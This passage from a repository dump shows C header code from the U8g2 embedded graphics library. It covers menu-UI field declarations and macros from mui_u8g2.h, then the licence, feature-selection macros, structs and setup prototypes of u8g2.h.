{ uint8_t *value; uint8_t min; uint8_t max; uint8_t step; uint8_t flags; uint8_t width; // added with issue 2200, might not be used by all bar graph functions } MUI_PROGMEM; typedef const struct mui_u8g2_u8_min_max_step_struct mui_u8g2_u8_min_max_step_t; /* list of bit values for the "flags" variable */ #define MUI_MMS_2X_BAR 0x01 #define MUI_MMS_4X_BAR 0x02 #define MUI_MMS_SHOW_VALUE 0x04 #define MUI_MMS_NO_WRAP 0x08 #if defined(__GNUC__) && defined(__AVR__) # define mui_u8g2_u8mms_get_width(u8mm) mui_pgm_read(&((u8mm)->width)) # define mui_u8g2_u8mms_get_step(u8mm) mui_pgm_read(&((u8mm)->step)) # define mui_u8g2_u8mms_get_flags(u8mm) mui_pgm_read(&((u8mm)->flags)) # define mui_u8g2_u8mms_get_min(u8mm) mui_pgm_read(&((u8mm)->min)) # define mui_u8g2_u8mms_get_max(u8mm) mui_pgm_read(&((u8mm)->max)) # define mui_u8g2_u8mms_get_valptr(u8mm) ((uint8_t *)mui_pgm_wread(&((u8mm)->value))) #else # define mui_u8g2_u8mms_get_width(u8mm) ((u8mm)->width) # define mui_u8g2_u8mms_get_step(u8mm) ((u8mm)->step) # define mui_u8g2_u8mms_get_flags(u8mm) ((u8mm)->flags) # define mui_u8g2_u8mms_get_min(u8mm) ((u8mm)->min) # define mui_u8g2_u8mms_get_max(u8mm) ((u8mm)->max) # define mui_u8g2_u8mms_get_valptr(u8mm) ((u8mm)->value) #endif /* helper functions */ u8g2_uint_t mui_get_x(mui_t *ui); u8g2_uint_t mui_get_y(mui_t *ui); u8g2_t *mui_get_U8g2(mui_t *ui); void mui_u8g2_draw_button_utf(mui_t *ui, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text); u8g2_uint_t mui_u8g2_get_pi_flags(mui_t *ui); void mui_u8g2_draw_button_pi(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text); u8g2_uint_t mui_u8g2_get_fi_flags(mui_t *ui); void mui_u8g2_draw_button_fi(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text); u8g2_uint_t mui_u8g2_get_pf_flags(mui_t *ui); void mui_u8g2_draw_button_pf(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text); u8g2_uint_t mui_u8g2_get_if_flags(mui_t *ui); void mui_u8g2_draw_button_if(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text); /* ready to use field functions */ uint8_t mui_u8g2_draw_text(mui_t *ui, uint8_t msg); uint8_t mui_u8g2_btn_goto_wm_fi(mui_t *ui, uint8_t msg); /* GIF */ uint8_t mui_u8g2_btn_goto_wm_if(mui_t *ui, uint8_t msg); uint8_t mui_u8g2_btn_goto_w2_fi(mui_t *ui, uint8_t msg); /* GIF */ uint8_t mui_u8g2_btn_goto_w2_if(mui_t *ui, uint8_t msg); uint8_t mui_u8g2_btn_goto_w1_pi(mui_t *ui, uint8_t msg); /* GIF */ uint8_t mui_u8g2_btn_goto_w1_fi(mui_t *ui, uint8_t msg); /* GIF */ uint8_t mui_u8g2_btn_exit_wm_fi(mui_t *ui, uint8_t msg); /* similar to 'mui_u8g2_btn_goto_wm_fi' but will exit the menu system */ uint8_t mui_u8g2_u8_chkbox_wm_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE, MUI_XY */ uint8_t mui_u8g2_u8_radio_wm_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XYAT */ uint8_t mui_u8g2_u8_opt_line_wa_mse_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XYAT */ uint8_t mui_u8g2_u8_opt_line_wa_mse_pf(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XYAT */ uint8_t mui_u8g2_u8_opt_line_wa_mud_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XYAT */ uint8_t mui_u8g2_u8_opt_line_wa_mud_pf(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XYAT */ /* dropdown list / combo box */ /* The text part of the parent defines a '|' separated list of elements, which can be selected by the child. */ /* Argument is a form number where the child element is placed multiple times */ /* The child form does not require the ok button, because the child function will return to the parent with the select element */ uint8_t mui_u8g2_u8_opt_parent_wm_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE, MUI_XYAT */ uint8_t mui_u8g2_u8_opt_radio_child_wm_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE, MUI_XYA */ uint8_t mui_u8g2_u8_opt_radio_child_w1_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE, MUI_XYA */ uint8_t mui_u8g2_u8_opt_child_wm_pi(mui_t *ui, uint8_t msg); /* MUIF_VARIABLE, MUI_XYA */ /* Note: there is no opt_child_goto muif, because this can be done with mui_u8g2_goto_form_w1_pi */ /* (scrollable) jump menu */ /* The text part of the parent defines a '|' separated list of elements, which can be selected goto_form functions. */ /* Each '|' separated element must be prefixed with the form number (MUI_x) */ uint8_t mui_u8g2_goto_data(mui_t *ui, uint8_t msg); /* REF, MUIF_RO, MUI_DATA (WARNING: Must appear only once per form!!! */ uint8_t mui_u8g2_goto_form_w1_pi(mui_t *ui, uint8_t msg); /* REF, MUIF_BUTTON, MUI_XYA */ uint8_t mui_u8g2_goto_form_w1_pf(mui_t *ui, uint8_t msg); /* REF, MUIF_BUTTON, MUI_XYA */ /* character input */ uint8_t mui_u8g2_u8_char_wm_mud_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XY, usually requires a monospaced font line profont12 */ /*===== MUIF U8g2 Label =====*/ #define MUIF_U8G2_LABEL() MUIF_LABEL(mui_u8g2_draw_text) /*===== data = u8g2 font data =====*/ //#define MUIF_U8G2_FONT_STYLE(n,font) MUIF("S" #n, 0, (void *)(font), mui_u8g2_set_font_style_function) #define MUIF_U8G2_FONT_STYLE(n, font) { 'S', #n[0], 0, 0, (void *)(font), mui_u8g2_set_font_style_function} uint8_t mui_u8g2_set_font_style_function(mui_t *ui, uint8_t msg); /*===== data = mui_u8g2_u8_min_max_t* =====*/ /* gcc note: the macro uses array compound literals to extend the lifetime in C++, see last section in https://gcc.gnu.org/onlinedocs/gcc/Compound-Literals.html */ #define MUIF_U8G2_U8_MIN_MAX(id, valptr, min, max, muif) \ MUIF(id, MUIF_CFLAG_IS_CURSOR_SELECTABLE, \ (void *)((mui_u8g2_u8_min_max_t [] ) {{ (valptr) MUI_U8G2_COMMA (min) MUI_U8G2_COMMA (max)}}), \ (muif)) uint8_t mui_u8g2_u8_min_max_wm_mse_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_U8G2_U8_MIN_MAX, MUI_XY */ uint8_t mui_u8g2_u8_min_max_wm_mud_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_U8G2_U8_MIN_MAX, MUI_XY */ uint8_t mui_u8g2_u8_min_max_wm_mse_pf(mui_t *ui, uint8_t msg); /* GIF, MUIF_U8G2_U8_MIN_MAX, MUI_XY */ uint8_t mui_u8g2_u8_min_max_wm_mud_pf(mui_t *ui, uint8_t msg); /* GIF, MUIF_U8G2_U8_MIN_MAX, MUI_XY */ /*===== data = mui_u8g2_u8_min_max_step_t* =====*/ /* gcc note: the macro uses array compound literals to extend the lifetime in C++, see last section in https://gcc.gnu.org/onlinedocs/gcc/Compound-Literals.html */ #define MUIF_U8G2_U8_MIN_MAX_STEP(id, valptr, min, max, step, flags, muif) \ MUIF(id, MUIF_CFLAG_IS_CURSOR_SELECTABLE, \ (void *)((mui_u8g2_u8_min_max_step_t [] ) {{ (valptr) MUI_U8G2_COMMA (min) MUI_U8G2_COMMA (max) MUI_U8G2_COMMA (step) MUI_U8G2_COMMA (flags) MUI_U8G2_COMMA (0) }}), \ (muif)) uint8_t mui_u8g2_u8_bar_wm_mse_pi(mui_t *ui, uint8_t msg); uint8_t mui_u8g2_u8_bar_wm_mud_pi(mui_t *ui, uint8_t msg); uint8_t mui_u8g2_u8_bar_wm_mse_pf(mui_t *ui, uint8_t msg); uint8_t mui_u8g2_u8_bar_wm_mud_pf(mui_t *ui, uint8_t msg); #define MUIF_U8G2_U8_MIN_MAX_STEP_WIDTH(id, valptr, min, max, step, width, flags, muif) \ MUIF(id, MUIF_CFLAG_IS_CURSOR_SELECTABLE, \ (void *)((mui_u8g2_u8_min_max_step_t [] ) {{ (valptr) MUI_U8G2_COMMA (min) MUI_U8G2_COMMA (max) MUI_U8G2_COMMA (step) MUI_U8G2_COMMA (flags) MUI_U8G2_COMMA (width) }}), \ (muif)) uint8_t mui_u8g2_u8_fixed_width_bar_wm_mse_pi(mui_t *ui, uint8_t msg); uint8_t mui_u8g2_u8_fixed_width_bar_wm_mud_pi(mui_t *ui, uint8_t msg); uint8_t mui_u8g2_u8_fixed_width_bar_wm_mse_pf(mui_t *ui, uint8_t msg); uint8_t mui_u8g2_u8_fixed_width_bar_wm_mud_pf(mui_t *ui, uint8_t msg); /*===== data = mui_u8g2_list_t* =====*/ /* similar to mui_u8g2_u8_opt_line, but u16 and dynamic list */ #define MUIF_U8G2_U16_LIST(id, valptr, dataptr, getcb, cntcb, muif) \ MUIF(id, MUIF_CFLAG_IS_CURSOR_SELECTABLE, \ (void *)((mui_u8g2_list_t [] ) {{ (valptr) MUI_U8G2_COMMA (dataptr) MUI_U8G2_COMMA (getcb) MUI_U8G2_COMMA (cntcb)}}), \ (muif)) uint8_t mui_u8g2_u16_list_line_wa_mse_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_U8G2_U16_LIST, MUI_XYA, arg=pixel fieldsize */ uint8_t mui_u8g2_u16_list_line_wa_mud_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_U8G2_U16_LIST, MUI_XYA, arg=pixel fieldsize */ /* dropdown list / combo box with 16 size and callback functions for MUIF_U8G2_U16_LIST */ uint8_t mui_u8g2_u16_list_parent_wm_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_U8G2_U16_LIST, MUI_XYA, arg=subform */ uint8_t mui_u8g2_u16_list_child_w1_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_U8G2_U16_LIST, MUI_XYA, arg=sub element number */ uint8_t mui_u8g2_u16_list_goto_w1_pi(mui_t *ui, uint8_t msg); /* REF, MUIF_U8G2_U16_LIST first char of the string denotes the target form */ #ifdef __cplusplus } #endif #endif /* MUI_U8G2_H */ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2.h ================================================ /* u8g2.h Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. call sequence u8g2_SetupBuffer_XYZ u8x8_Setup_XYZ u8x8_SetupDefaults(u8g2); assign u8x8 callbacks u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SETUP_MEMORY, 0, NULL); setup tile buffer Arduino Uno Text Example > FONT_ROTATION INTERSECTION CLIPPING text data bss dec hex > 8700 > x x x 7450 104 1116 8670 21de > - x x 7132 104 1115 8351 209f > x - x 7230 104 1116 8450 2102 > - - x 7010 104 1115 8229 2025 > - - - 6880 104 1115 8099 1fa3 */ #ifndef U8G2_H #define U8G2_H #include "u8x8.h" /* The following macro enables 16 Bit mode. Without defining this macro all calculations are done with 8 Bit (1 Byte) variables. Especially on AVR architecture, this will save some space. If this macro is defined, then U8g2 will switch to 16 Bit mode. Use 16 Bit mode for any display with more than 240 pixel in one direction. */ #define U8G2_16BIT /* always enable U8G2_16BIT on 32bit environments, see issue https://github.com/olikraus/u8g2/issues/1222 */ #ifndef U8G2_16BIT #if defined(unix) || defined(__unix__) || defined(__arm__) || defined(__xtensa__) || defined(xtensa) || defined(__arc__) || defined(ESP8266) || defined(ESP_PLATFORM) || defined(__LUATOS__) #define U8G2_16BIT #endif #endif /* The following macro switches the library into dynamic display buffer allocation mode. Defining this constant will disable all static memory allocation for device memory buffer and thus allows the user to allocate device buffers statically. Before using any display functions, the dynamic buffer *must* be assigned to the u8g2 struct using the u8g2_SetBufferPtr function. When using dynamic allocation, the stack size must be increased by u8g2_GetBufferSize bytes. */ //#define U8G2_USE_DYNAMIC_ALLOC /* U8g2 feature selection, see also https://github.com/olikraus/u8g2/wiki/u8g2optimization */ /* The following macro enables the HVLine speed optimization. It will consume about 40 bytes more in flash memory of the AVR. HVLine procedures are also used by the text drawing functions. */ #ifndef U8G2_WITHOUT_HVLINE_SPEED_OPTIMIZATION #define U8G2_WITH_HVLINE_SPEED_OPTIMIZATION #endif /* The following macro activates the early intersection check with the current visible area. Clipping (and low level intersection calculation) will still happen and is controlled by U8G2_WITH_CLIPPING. This early intersection check only improves speed for the picture loop (u8g2_FirstPage/NextPage). With a full framebuffer in RAM and if most graphical elements are drawn within the visible area, then this macro can be commented to reduce code size. */ #ifndef U8G2_WITHOUT_INTERSECTION #define U8G2_WITH_INTERSECTION #endif /* Enable clip window support: void u8g2_SetMaxClipWindow(u8g2_t *u8g2) void u8g2_SetClipWindow(u8g2_t *u8g2, u8g2_uint_t clip_x0, u8g2_uint_t clip_y0, u8g2_uint_t clip_x1, u8g2_uint_t clip_y1 ) Setting a clip window will restrict all drawing to this window. Clip window support requires about 200 bytes flash memory on AVR systems */ #ifndef U8G2_WITHOUT_CLIP_WINDOW_SUPPORT #define U8G2_WITH_CLIP_WINDOW_SUPPORT #endif /* The following macro enables all four drawing directions for glyphs and strings. If this macro is not defined, than a string can be drawn only in horizontal direction. Jan 2020: Disabling this macro will save up to 600 bytes on AVR */ #ifndef U8G2_WITHOUT_FONT_ROTATION #define U8G2_WITH_FONT_ROTATION #endif /* U8glib V2 contains support for unicode plane 0 (Basic Multilingual Plane, BMP). The following macro activates this support. Deactivation would save some ROM. This definition also defines the behavior of the expected string encoding. If the following macro is defined, then the DrawUTF8 function is enabled and the string argument for this function is assumed to be UTF-8 encoded. If the following macro is not defined, then all strings in the c-code are assumed to be ISO 8859-1/CP1252 encoded. Independently from this macro, the Arduino print function never accepts UTF-8 strings. This macro does not affect the u8x8 string draw function. u8x8 has also two function, one for pure strings and one for UTF8 Conclusion: U8G2_WITH_UNICODE defined - C-Code Strings must be UTF-8 encoded - Full support of all 65536 glyphs of the unicode basic multilingual plane - Up to 65536 glyphs of the font file can be used. U8G2_WITH_UNICODE not defined - C-Code Strings are assumbed to be ISO 8859-1/CP1252 encoded - Only character values 0 to 255 are supported in the font file. */ #ifndef U8G2_WITHOUT_UNICODE #define U8G2_WITH_UNICODE #endif /* See issue https://github.com/olikraus/u8g2/issues/1561 The old behaviour of the StrWidth and UTF8Width functions returned an unbalanced string width, where a small space was added to the left but not to the right of the string in some cases. The new "balanced" procedure will assume the same gap on the left and the right side of the string Example: The string width of "C" with font u8g2_font_helvR08_tr was returned as 7. A frame of width 9 would place the C a little bit more to the right (width of that "C" are 6 pixel). If U8G2_BALANCED_STR_WIDTH_CALCULATION is defined, the width of "C" is returned as 8. Not defining U8G2_BALANCED_STR_WIDTH_CALCULATION would fall back to the old behavior. */ #ifndef U8G2_NO_BALANCED_STR_WIDTH_CALCULATION #define U8G2_BALANCED_STR_WIDTH_CALCULATION #endif /*==========================================*/ #ifdef __GNUC__ # define U8G2_NOINLINE __attribute__((noinline)) #else # define U8G2_NOINLINE #endif #define U8G2_FONT_SECTION(name) U8X8_FONT_SECTION(name) /* the macro U8G2_USE_LARGE_FONTS enables large fonts (>32K) */ /* it can be enabled for those uC supporting larger arrays */ #if defined(unix) || defined(__unix__) || defined(__arm__) || defined(__arc__) || defined(ESP8266) || defined(ESP_PLATFORM) || defined(__LUATOS__) #ifndef U8G2_USE_LARGE_FONTS #define U8G2_USE_LARGE_FONTS #endif #endif /*==========================================*/ /* C++ compatible */ #ifdef __cplusplus extern "C" { #endif /*==========================================*/ #ifdef U8G2_16BIT typedef uint16_t u8g2_uint_t; /* for pixel position only */ typedef int16_t u8g2_int_t; /* introduced for circle calculation */ typedef int32_t u8g2_long_t; /* introduced for ellipse calculation */ #else typedef uint8_t u8g2_uint_t; /* for pixel position only */ typedef int8_t u8g2_int_t; /* introduced for circle calculation */ typedef int16_t u8g2_long_t; /* introduced for ellipse calculation */ #endif typedef struct u8g2_struct u8g2_t; typedef struct u8g2_cb_struct u8g2_cb_t; typedef void (*u8g2_update_dimension_cb)(u8g2_t *u8g2); typedef void (*u8g2_update_page_win_cb)(u8g2_t *u8g2); typedef void (*u8g2_draw_l90_cb)(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir); typedef void (*u8g2_draw_ll_hvline_cb)(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir); typedef uint8_t (*u8g2_get_kerning_cb)(u8g2_t *u8g2, uint16_t e1, uint16_t e2); /* from ucglib... */ struct _u8g2_font_info_t { /* offset 0 */ uint8_t glyph_cnt; uint8_t bbx_mode; uint8_t bits_per_0; uint8_t bits_per_1; /* offset 4 */ uint8_t bits_per_char_width; uint8_t bits_per_char_height; uint8_t bits_per_char_x; uint8_t bits_per_char_y; uint8_t bits_per_delta_x; /* offset 9 */ int8_t max_char_width; int8_t max_char_height; /* overall height, NOT ascent. Instead ascent = max_char_height + y_offset */ int8_t x_offset; int8_t y_offset; /* offset 13 */ int8_t ascent_A; int8_t descent_g; /* usually a negative value */ int8_t ascent_para; int8_t descent_para; /* offset 17 */ uint16_t start_pos_upper_A; uint16_t start_pos_lower_a; /* offset 21 */ #ifdef U8G2_WITH_UNICODE uint16_t start_pos_unicode; #endif }; typedef struct _u8g2_font_info_t u8g2_font_info_t; /* from ucglib... */ struct _u8g2_font_decode_t { const uint8_t *decode_ptr; /* pointer to the compressed data */ u8g2_uint_t target_x; u8g2_uint_t target_y; int8_t x; /* local coordinates, (0,0) is upper left */ int8_t y; int8_t glyph_width; int8_t glyph_height; uint8_t decode_bit_pos; /* bitpos inside a byte of the compressed data */ uint8_t is_transparent; uint8_t fg_color; uint8_t bg_color; #ifdef U8G2_WITH_FONT_ROTATION uint8_t dir; /* direction */ #endif }; typedef struct _u8g2_font_decode_t u8g2_font_decode_t; struct _u8g2_kerning_t { uint16_t first_table_cnt; uint16_t second_table_cnt; const uint16_t *first_encoding_table; const uint16_t *index_to_second_table; const uint16_t *second_encoding_table; const uint8_t *kerning_values; }; typedef struct _u8g2_kerning_t u8g2_kerning_t; struct u8g2_cb_struct { u8g2_update_dimension_cb update_dimension; u8g2_update_page_win_cb update_page_win; u8g2_draw_l90_cb draw_l90; }; typedef u8g2_uint_t (*u8g2_font_calc_vref_fnptr)(u8g2_t *u8g2); struct u8g2_struct { u8x8_t u8x8; u8g2_draw_ll_hvline_cb ll_hvline; /* low level hvline procedure */ const u8g2_cb_t *cb; /* callback drawprocedures, can be replaced for rotation */ /* the following variables must be assigned during u8g2 setup */ uint8_t *tile_buf_ptr; /* ptr to memory area with u8x8.display_info->tile_width * 8 * tile_buf_height bytes */ uint8_t tile_buf_height; /* height of the tile memory area in tile rows */ uint8_t tile_curr_row; /* current row for picture loop */ /* dimension of the buffer in pixel */ u8g2_uint_t pixel_buf_width; /* equal to tile_buf_width*8 */ u8g2_uint_t pixel_buf_height; /* tile_buf_height*8 */ u8g2_uint_t pixel_curr_row; /* u8g2.tile_curr_row*8 */ /* the following variables are set by the update dimension callback */ /* this is the clipbox after rotation for the hvline procedures */ //u8g2_uint_t buf_x0; /* left corner of the buffer */ //u8g2_uint_t buf_x1; /* right corner of the buffer (excluded) */ u8g2_uint_t buf_y0; u8g2_uint_t buf_y1; /* display dimensions in pixel for the user, calculated in u8g2_update_dimension_common() */ u8g2_uint_t width; u8g2_uint_t height; /* this is the clip box for the user to check if a specific box has an intersection */ /* use u8g2_IsIntersection from u8g2_intersection.c to test against this intersection */ /* actually, this window describes the position of the current page */ u8g2_uint_t user_x0; /* left corner of the buffer */ u8g2_uint_t user_x1; /* right corner of the buffer (excluded) */ u8g2_uint_t user_y0; /* upper edge of the buffer */ u8g2_uint_t user_y1; /* lower edge of the buffer (excluded) */ #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT /* clip window */ u8g2_uint_t clip_x0; /* left corner of the clip window */ u8g2_uint_t clip_x1; /* right corner of the clip window (excluded) */ u8g2_uint_t clip_y0; /* upper edge of the clip window */ u8g2_uint_t clip_y1; /* lower edge of the clip window (excluded) */ #endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */ /* information about the current font */ const uint8_t *font; /* current font for all text procedures */ // removed: const u8g2_kerning_t *kerning; /* can be NULL */ // removed: u8g2_get_kerning_cb get_kerning_cb; u8g2_font_calc_vref_fnptr font_calc_vref; u8g2_font_decode_t font_decode; /* new font decode structure */ u8g2_font_info_t font_info; /* new font info structure */ #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT /* 1 of there is an intersection between user_?? and clip_?? box */ uint8_t is_page_clip_window_intersection; #endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */ uint8_t font_height_mode; int8_t font_ref_ascent; int8_t font_ref_descent; int8_t glyph_x_offset; /* set by u8g2_GetGlyphWidth as a side effect */ uint8_t bitmap_transparency; /* black pixels will be treated as transparent (not drawn) */ uint8_t draw_color; /* 0: clear pixel, 1: set pixel, modified and restored by font procedures */ /* draw_color can be used also directly by the user API */ // the following variable should be renamed to is_buffer_auto_clear uint8_t is_auto_page_clear; /* set to 0 to disable automatic clear of the buffer in firstPage() and nextPage() */ }; #define u8g2_GetU8x8(u8g2) ((u8x8_t *)(u8g2)) //#define u8g2_GetU8x8(u8g2) (&((u8g2)->u8x8)) #ifdef U8X8_WITH_USER_PTR #define u8g2_GetUserPtr(u8g2) ((u8g2_GetU8x8(u8g2))->user_ptr) #define u8g2_SetUserPtr(u8g2, p) ((u8g2_GetU8x8(u8g2))->user_ptr = (p)) #endif // this should be renamed to SetBufferAutoClear #define u8g2_SetAutoPageClear(u8g2, mode) ((u8g2)->is_auto_page_clear = (mode)) /*==========================================*/ /* u8x8 wrapper */ #define u8g2_SetupDisplay(u8g2, display_cb, cad_cb, byte_cb, gpio_and_delay_cb) \ u8x8_Setup(u8g2_GetU8x8(u8g2), (display_cb), (cad_cb), (byte_cb), (gpio_and_delay_cb)) #define u8g2_InitInterface(u8g2) u8x8_InitInterface(u8g2_GetU8x8(u8g2)) #define u8g2_InitDisplay(u8g2) u8x8_InitDisplay(u8g2_GetU8x8(u8g2)) #define u8g2_SetPowerSave(u8g2, is_enable) u8x8_SetPowerSave(u8g2_GetU8x8(u8g2), (is_enable)) #define u8g2_SetFlipMode(u8g2, mode) u8x8_SetFlipMode(u8g2_GetU8x8(u8g2), (mode)) #define u8g2_SetContrast(u8g2, value) u8x8_SetContrast(u8g2_GetU8x8(u8g2), (value)) //#define u8g2_ClearDisplay(u8g2) u8x8_ClearDisplay(u8g2_GetU8x8(u8g2)) obsolete, can not be used in all cases void u8g2_ClearDisplay(u8g2_t *u8g2); #define u8g2_GetDisplayHeight(u8g2) ((u8g2)->height) #define u8g2_GetDisplayWidth(u8g2) ((u8g2)->width) #define u8g2_GetDrawColor(u8g2) ((u8g2)->draw_color) #define u8g2_GetI2CAddress(u8g2) u8x8_GetI2CAddress(u8g2_GetU8x8(u8g2)) #define u8g2_SetI2CAddress(u8g2, address) ((u8g2_GetU8x8(u8g2))->i2c_address = (address)) #ifdef U8X8_USE_PINS #define u8g2_SetMenuSelectPin(u8g2, val) u8x8_SetMenuSelectPin(u8g2_GetU8x8(u8g2), (val)) #define u8g2_SetMenuNextPin(u8g2, val) u8x8_SetMenuNextPin(u8g2_GetU8x8(u8g2), (val)) #define u8g2_SetMenuPrevPin(u8g2, val) u8x8_SetMenuPrevPin(u8g2_GetU8x8(u8g2), (val)) #define u8g2_SetMenuHomePin(u8g2, val) u8x8_SetMenuHomePin(u8g2_GetU8x8(u8g2), (val)) #define u8g2_SetMenuUpPin(u8g2, val) u8x8_SetMenuUpPin(u8g2_GetU8x8(u8g2), (val)) #define u8g2_SetMenuDownPin(u8g2, val) u8x8_SetMenuDownPin(u8g2_GetU8x8(u8g2), (val)) #endif /*==========================================*/ /* u8g2_setup.c */ void u8g2_draw_l90_r0(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir); extern const u8g2_cb_t u8g2_cb_r0; extern const u8g2_cb_t u8g2_cb_r1; extern const u8g2_cb_t u8g2_cb_r2; extern const u8g2_cb_t u8g2_cb_r3; extern const u8g2_cb_t u8g2_cb_mirror; extern const u8g2_cb_t u8g2_cb_mirror_vertical; #define U8G2_R0 (&u8g2_cb_r0) #define U8G2_R1 (&u8g2_cb_r1) #define U8G2_R2 (&u8g2_cb_r2) #define U8G2_R3 (&u8g2_cb_r3) #define U8G2_MIRROR (&u8g2_cb_mirror) #define U8G2_MIRROR_VERTICAL (&u8g2_cb_mirror_vertical) /* u8g2: A new, not yet initialized u8g2 memory area buf: Memory area of size tile_buf_height* tile_buf_height: Number of full lines ll_hvline_cb: one of: u8g2_ll_hvline_vertical_top_lsb u8g2_ll_hvline_horizontal_right_lsb u8g2_cb U8G2_R0 .. U8G2_R3 */ void u8g2_SetMaxClipWindow(u8g2_t *u8g2); void u8g2_SetClipWindow(u8g2_t *u8g2, u8g2_uint_t clip_x0, u8g2_uint_t clip_y0, u8g2_uint_t clip_x1, u8g2_uint_t clip_y1 ); void u8g2_SetupBuffer(u8g2_t *u8g2, uint8_t *buf, uint8_t tile_buf_height, u8g2_draw_ll_hvline_cb ll_hvline_cb, const u8g2_cb_t *u8g2_cb); void u8g2_SetDisplayRotation(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb); void u8g2_SendF(u8g2_t * u8g2, const char *fmt, ...); /* null device setup */ void u8g2_Setup_null(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); /*==========================================*/ /* u8g2_d_memory.c generated code start */ uint8_t *u8g2_m_16_4_1(uint8_t *page_cnt); uint8_t *u8g2_m_16_4_2(uint8_t *page_cnt); uint8_t *u8g2_m_16_4_f(uint8_t *page_cnt); uint8_t *u8g2_m_16_8_1(uint8_t *page_cnt); uint8_t *u8g2_m_16_8_2(uint8_t *page_cnt); uint8_t *u8g2_m_16_8_f(uint8_t *page_cnt); uint8_t *u8g2_m_255_2_1(uint8_t *page_cnt); uint8_t *u8g2_m_255_2_2(uint8_t *page_cnt); uint8_t *u8g2_m_255_2_f(uint8_t *page_cnt); uint8_t *u8g2_m_9_5_1(uint8_t *page_cnt); uint8_t *u8g2_m_9_5_2(uint8_t *page_cnt); uint8_t *u8g2_m_9_5_f(uint8_t *page_cnt); uint8_t *u8g2_m_12_5_1(uint8_t *page_cnt); uint8_t *u8g2_m_12_5_2(uint8_t *page_cnt); uint8_t *u8g2_m_12_5_f(uint8_t *page_cnt); uint8_t *u8g2_m_8_4_1(uint8_t *page_cnt); uint8_t *u8g2_m_8_4_2(uint8_t *page_cnt); uint8_t *u8g2_m_8_4_f(uint8_t *page_cnt); uint8_t *u8g2_m_8_16_1(uint8_t *page_cnt); uint8_t *u8g2_m_8_16_2(uint8_t *page_cnt); uint8_t *u8g2_m_8_16_f(uint8_t *page_cnt); uint8_t *u8g2_m_12_12_1(uint8_t *page_cnt); uint8_t *u8g2_m_12_12_2(uint8_t *page_cnt); uint8_t *u8g2_m_12_12_f(uint8_t *page_cnt); uint8_t *u8g2_m_10_16_1(uint8_t *page_cnt); uint8_t *u8g2_m_10_16_2(uint8_t *page_cnt); uint8_t *u8g2_m_10_16_f(uint8_t *page_cnt); uint8_t *u8g2_m_16_16_1(uint8_t *page_cnt); uint8_t *u8g2_m_16_16_2(uint8_t *page_cnt); uint8_t *u8g2_m_16_16_f(uint8_t *page_cnt); uint8_t *u8g2_m_16_20_1(uint8_t *page_cnt); uint8_t *u8g2_m_16_20_2(uint8_t *page_cnt); uint8_t *u8g2_m_16_20_f(uint8_t *page_cnt); uint8_t *u8g2_m_20_20_1(uint8_t *page_cnt); uint8_t *u8g2_m_20_20_2(uint8_t *page_cnt); uint8_t *u8g2_m_20_20_f(uint8_t *page_cnt); uint8_t *u8g2_m_32_8_1(uint8_t *page_cnt); uint8_t *u8g2_m_32_8_2(uint8_t *page_cnt); uint8_t *u8g2_m_32_8_f(uint8_t *page_cnt); uint8_t 